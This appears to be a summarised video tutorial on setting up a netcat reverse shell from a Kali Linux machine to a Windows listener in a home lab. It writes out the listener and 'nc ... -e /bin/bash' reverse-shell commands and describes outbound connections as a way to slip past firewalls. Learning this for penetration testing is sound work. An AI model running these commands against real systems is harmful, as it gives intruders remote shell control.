Netcat Tutorial - Reverse Shell
How to Create a Reverse Shell with Netcat
Understanding Reverse Shells
- A reverse shell is crucial for penetration testers, allowing remote access to a computer's shell.
- It connects to a remote machine and redirects input/output, enabling control over the target system.
- The example given involves accessing a Kali Linux terminal from a Windows command prompt using netcat.
Setting Up the Connection
- In this scenario, Windows acts as the server while Kali Linux serves as the client, which may seem counterintuitive but is necessary for firewall evasion.
- Outbound connections are preferred because inbound requests can trigger firewall alerts and be blocked. This method avoids detection by appearing as normal outbound traffic.
Configuring the Server on Windows
- To set up the server on Windows, use
nc -nvlp 1234in the command prompt to listen for incoming connections on port 1234.
- The local IP address of the Windows machine must be identified (e.g.,
192.168.1.102) usingipconfig. This address will be used by Kali to connect back to it.
Executing Commands from Kali
- On Kali Linux, initiate an outbound connection using netcat with syntax:
nc <Windows_IP> 1234 -e /bin/bash, where<Windows_IP>is replaced with your actual IP address (e.g.,192.168.1.102).
- Once connected, commands executed in this session will run on the Kali system but appear in the Windows command prompt interface, demonstrating successful remote access through netcat.
Demonstrating Functionality
- After establishing a connection, commands like
lscan be executed from the Windows command prompt to list files on Kali Linux remotely, confirming that control has been established successfully.
How to Set Up a Reverse Shell
Overview of Reverse Shell Setup
- The speaker demonstrates navigating the file system in their home directory, emphasizing the ability to change directories and list files.
- A reverse shell is established, allowing remote control over the Kali operating system through the shell interface.
Conclusion of Demonstration
- The video concludes with a summary of setting up a reverse shell, highlighting its simplicity and versatility for both Kali and Windows command prompts.